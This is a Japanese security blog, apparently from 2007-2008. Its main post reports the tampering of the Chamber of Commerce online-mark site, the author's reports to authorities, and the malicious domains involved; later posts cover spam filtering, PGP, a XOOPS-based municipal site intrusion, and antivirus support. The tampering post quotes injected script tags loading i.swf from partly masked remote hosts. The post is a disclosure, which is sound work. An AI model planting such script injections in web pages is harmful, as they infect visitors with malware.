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日本商工会議所オンラインマークの改ざん

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日本商工会議所オンラインマーク総合センター
 http://mark.cin.or.jp/
のオンラインマークが改ざんされており、
ページに不正なスクリプトが埋め込まれています。
マーク使用許可事業者の「オンラインマークの認証関係情報
 商工会議所オンラインマーク地域センターへのリンク中および地域センターの所在地の右端に挿入されています。
ユーザーのシステムに脆弱性があると、このコードによって実行可能ファイルが実行され、マルウェアがダウンロードされるかもしれません。オンラインマークは絶対にクリックしないで下さい。
2008-10-05 7 p.m.

ホームページの不正アクセスと改竄について下記へ連絡しました。

日本商工会議所オンラインマーク総合センター
  メール連絡済 (第一報 Sun, 05 Oct 2008 12:05:51 +0900)
  電話連絡済

情報処理推進機構(IPA)セキュリティセンター(ISEC)
 http://www.ipa.go.jp/security/ciadr/index.html
  留守電メッセージ済
  メール連絡済 (受理 2008-10-06 ca 3 p.m.)

都道府県警察本部のサイバー犯罪相談窓口
 http://www.npa.go.jp/cyber/soudan.htm
  警視庁  長時間電話中で連絡不可
  地元警察本部 電話で情報提供済

JPCERTコーディネーションセンター(JPCERT/CC)
 http://www.jpcert.or.jp/
  メール連絡済(受理 2008-10-06 11 a.m.)

[調査結果]
日本商工会議所オンラインマーク総合センター
オンラインマークの改ざんにより不正に挿入されているドメイン名
2008-10-07時点で、赤矢印の位置の"水平線"は表示されなくなりましたが、不正スクリプトは存在します。
サイト要素の不正スクリプト
drmyy.cn (2008-10-05 4 p.m. 時点の対応グロ-バルIP 211.154.163.43)
 http://safeweb.norton.com/report/show?url=drmyy.cn&x=0&y=0
 http://www.siteadvisor.com/sites/drmyy.cn/summary/

日本商工会議所オンラインマーク総合センターのサイト要素
に含まれていると思われるIPアドレス
  ブラウザ Google Chrome (現時点での最新バージョン 0.2.149.30) BETAによる警告メッセージより
HomepageTampering 081005
125.68.57.154 (2008-10-05 4 p.m. 時点の対応ドメイン ytgw123.cn)
 http://safeweb.norton.com/report/show?url=ytgw123.cn&x=0&y=0
 http://www.siteadvisor.com/sites/ytgw123.cn

 

[追記 2008-10-06]
地元の商工会議所へ電話連絡済

オンラインマークの認証関係情報
 http://mark.cin.or.jp/database/cert-plug-inst.asp?markid=A00000-*-**
2008-10-06 10 p.m. 時点で未対応です。

[追記 2008-10-07]
不正スクリプトは削除されていません。
存在場所を示す"水平線"が表示されないように、サーバ内部で「改悪」処理が行われています。ブラウザで見た人は、不正スクリプトの要素に全く気づきません。
参照ページ:
「SQLインジェクションの仕組み――Webサイトに悪質コードを埋め込む」
 http://itpro.nikkeibp.co.jp/article/COLUMN/20080930/315826/

改ざんの前後でWebサイトの外見が変化することはほとんどない。そのため,エンドユーザーが一見して改ざんに気づくことは難しい。
例外的に,HTML出力時にデータを(投稿者注:改ざん防止対策として)エスケープ処理していたり,タイトル・タグとなるデータが改ざんされたりした場合は,〈script src=http://www.example.com/ngg.js〉〈/script〉といったタグが文字列としてWebサイトに表示されることがある。

不正スクリプトは削除されました。9 p.m.

急 告再び、サーバ乗っ取り?によるオンライン認証関連情報ページの改ざん発見
2008-11-23 午前1時
閲覧者アクセスや検索ロボットの不正サイト登録を予防するため、一部***に変更しました。

【認証機関】日本<script src=http://61.31.***.114/i.swf></script><script src=http://****.co.kr/i.swf></script><script src=http://****.co.kr/i.swf></script>商工会議所オンラインマーク地域センター<br>〒100-0005 千代田区丸の内3-2-2<script src=http://61.31.***.114/i.swf></script><script src=http://****.co.kr/i.swf></script><script src=http://****.co.kr/i.swf></script>

同様の手口ですが、誘導するサイトが前回と異なります。

サイト要素の不正スクリプト
t**-n** (2008-11-23 9 a.m. 時点の対応グロ-バルIP 61.31.235.114)
Viruses Severity: High
 http://safeweb.norton.com/report/show?url=61.31.235.114&x=0&y=0
 http://www.siteadvisor.com/sites/61.31.235.114/summary/

ipkn.co.kr/i.swf (2008-11-23 9 a.m. 時点の対応グロ-バルIP 211.***.62.32)
 http://safeweb.norton.com/report/show?url=ipkn.co.kri/
 http://www.siteadvisor.com/sites/ipkn.co.kri/

  ブラウザ Google Chrome (現時点での最新バージョン 0.3.154.9) BETAによる警告メッセージより
2ndchrome081123.png

 

[追記 2008-11-27] 本日 10 a.m. 当該ページの不正スクリプト削除済確認

投稿者: support

2008/10/05 19:10

迷惑メール振り分けサービスと新たな憂鬱

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(株)ぷららネットワークス(NTTグループ企業)が運営するISP「ぷらら」は、2008年1月31日、「迷惑メール振り分けサービス」を開始した。
 http://www.plala.or.jp/member/option_service/mailplus/antispam/
実際に、4日間でスパムメール約 700通、4MBがサーバ内の迷惑メール専用フォルダ(ジャンクボックス)で一時保管状態となっている。
これまでメールソフトで振り分け、削除していた操作(自動、手動)がなくなり、パソコンを起動するときの憂鬱が一気に解消した。

しかし、自動削除までの2週間で2,000通を超える。大量のspam メールを確認することは、これまで以上に憂鬱な操作である。また、本日ジャンクボックスを閲覧しただけで、サーバエラーが発生した。サーバ負荷などを考えて、1週間程度での自動削除(オプション)をぷらら plala さんに提案した。

投稿者: support

2008/02/03 10:33

PGP Desktop 9.7 for Windows – PGP Zip – PGP Keys

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エンタープライズ コンプリートエディションの評価版
 PGP Desktop Enterprise 9.7 for Windows – 30-Day Trial
 PGP Desktop Trial Software (Desktop Client Only)
  http://www.pgp.com/downloads/desktoptrial.html

2007-12-24現在の最新版は
 PGP Desktop 9.7
 9.7.0 [ビルド 1012]
 SDK 3.9.0
です。すべて日本語化されています。
ただし、日本語のマニュアル(ユーザズ ガイド)ではバージョン「PGP Desktop 9.8 for Windows」と記載されており、評価版と異なるバージョン表示です。

(30日を過ぎても)ライセンスなしで使用できる機能は「PGP Keys」と「PGP Zip ジップ」とのことです。後者は、ファイルやフォルダを暗号化 encryption し圧縮パッケージとする基本機能(暗号化方法はPGP鍵またはパスフレーズ)で、復号機能 decryption も継続使用できます。

PGP Desktop バージョン 8.x 以下のレガシー PGPフリーウェア (legacy PGP Freeware)
では対応していなかったOSでも使用できます。Windowsでは、Windows Vista、Windows XP (SP 1 または 2)、Windows 2000 (SP 4)、Windows 2003 Server (SP 1)などです。

現在使用中の PGP バージョンで必ず、鍵ペア(秘密鍵と公開鍵)、鍵リングのバックアップを作成、保存してから、PGP Desktop 9.7のインストール(アップデート)を行います。

legacy PGPの一部(PGP Desktop for Windows バージョン 8.0 以前)は手動でアンインストールしてからとなります。

Are there any license limitations?
【引用】
 http://www.pgp.com/downloads/desktoptrial2.php
After the 30-day trial, the resulting functionality is licensed on a Perpetual basis solely for personal, non-commercial purposes. Any attempt to disable these limitations or modify the software is illegal and prohibited by law.

最も安い製品のライセンス料は
 PGP Desktop Home 9.7
  http://row.pgpstore.com/product.aspx?sku=3118544
 PGP Desktop Home 9.7 for Windows – Perpetual License $119
 PGP Desktop Home 9.7 for OS X – 同無期限ライセンス $119
のようです。

投稿者: support

2007/12/24 20:31

フィッシング詐欺の踏み台 – System access – Xoops – 自治体・官公庁採用

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会津若松市:会津若松市ホームページへの不正侵入について
 http://www.city.aizuwakamatsu.fukushima.jp/fusei-access/index.htm
 http://www.city.aizuwakamatsu.fukushima.jp/20071128fusei_access.pdf

問題のサイトは オープンソースソフトウェア XOOPS(ズープス)によるポータルサイトだったのでは? 以下は投稿者(当ブログ)の推測です。

「脆弱性の対策は行われていたのか?」

2007/10/02 13:17
オープンソースのCMS「XOOPS」に脆弱性:管理者はアップデートを
 http://japan.zdnet.com/security/story/0,3800079245,20357743,00.htm
  Release Date: 2007-10-01
  XOOPS Uploader Class Unspecified Vulnerability
    http://secunia.com/advisories/27006/

JVN#77105349:
「XOOPS」におけるクロスサイト・スクリプティングの脆弱性
 http://www.ipa.go.jp/security/vuln/documents/2005/JVN_77105349_XOOPS.html
最終更新日 2007年8月20日 独立行政法人 情報処理推進機構セキュリティセンター
など。

「多くの自治体・官公庁ポータルサイトで対策は行われているのか?」
XOOPSサイト事例—自治体・官公庁
 http://www.xoops.jp/smartsection-category.categoryid-1.htm

XOOPSコラム
タイトル
環境****ナーシップオフィス(E**北海道)
三重県*市
科学技術***構 J****岡サテライト
科学技術***構 情***業本部
霞ヶ関*** プロ**トK
大分***市
大分県***市
徳島県 ***公民館
佐賀県***ネットワーク協議会
会津若松市

クリックすると
旧コラム・XOOPSサイト事例   >  XOOPSサイト事例一覧 > XOOPSサイト事例—自治体・官公庁 > 会津若松市 
 http://www.xoops.jp/smartsection-item.itemid-8.htm

会津若松市
 http://www.city.aizuwakamatsu.fukushima.jp/edu/

など。

投稿者: support

2007/11/30 21:36

Windows 2000 – VB2007 -不具合修正なし

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あるローカルネットワーク環境下では、
 http://www.osbsd.net/2007/03/broadband_route.html
⇒ OS Windows XP SP2では、ウイルスバスター2007 トレンド フレックス セキュリティ (Vista対応版、未対応版ともに)起動中ないしメモリ常駐時にブラウジング(Microsoft社 Windows Internet Explorer 7)不能となり、OS Windows 2000 Pro SP4では、同ソフトウェア使用可。

であったため、クライアントPCは、Norton Antivirus 2007+Windows XP SP2、ウイルスバスター2007+Windows 2000 Pro SP4仕様としていたが、Windows 2000 SP4ユーザーとして、ウイルスバスター2007の無料バージョンアップを試みると、以下のメッセージに遭遇します。契約更新前にその期間、OS変更などを含めてよくご検討下さい。

「Windows 2000の発売元であるマイクロソフト社が、Windows 2000のサポートメインストリームフェーズを終了したことを受け、ウイルスバスターの最新版では、Windows 2000環境への対応を終了しました。
Windows 2000をご利用の環境では最新版のウイルスバスター(投稿者注:ウイルスバスター2008 のこと)ご利用いただけませんので、ご注意ください。」

■引き続きウイルスバスターを使用するにはどうすればいいの?

「Windows 2000環境をご利用のお客さまは、「ウイルスバスター2007 トレンド フレックス セキュリティ」を パターンファイル提供の終了日(2008年末予定)までお使いいただけます。 (但し、不具合があった場合の修正は行いません。)
WindowsXPやVista などの新しいオペレーティング システムにアップグレードされることをお勧めいたします。」

2008年に「不具合があった場合の修正は行いません」とのことですから、パソコンがダウンする重大な問題などが発生したとき、他のウイルス対策サービスに変更する必要があります。
★ 参照ページ 「ウイルスバスター2007で処理が重く(遅く)なる問題と対処法‐園部研
 http://sonobelab.com/knowhow/computer/vb2007.html

以下に大手会社のアンチウイルスソフトウェアのサービス終了期間をみると(Windows 2000 Pro SP4対応)、

◆ Norton AntiVirusなどのシマンテック製品の発売日/更新サービス終了日一覧
 http://service1.symantec.com/SUPPORT/INTER/japanesecustserv.nsf/jp_docid/20030919114134945

 Norton Internet Security 2005 ⇒「未定」となっている。

◆ McAfee マカフィー – ウイルス対策と侵入防止ソリューション
 http://www.mcafee.com/Japan/mcafee/support/faq/answer_f_account.asp?wk=AC-00005
「2007年度製品はWindows2000SP4、 WinsowsXP Home/Professionalをサポートしています。Windows98/98SE、Meをご利用いただいていて、かつプログラム自動更新サービスをご利用いただいている場合は2006年度版の製品を継続してご利用いただく事ができます。」

 2007年度製品のサポート期間に一致するが、明記されていない。

投稿者: support

2007/11/25 09:12

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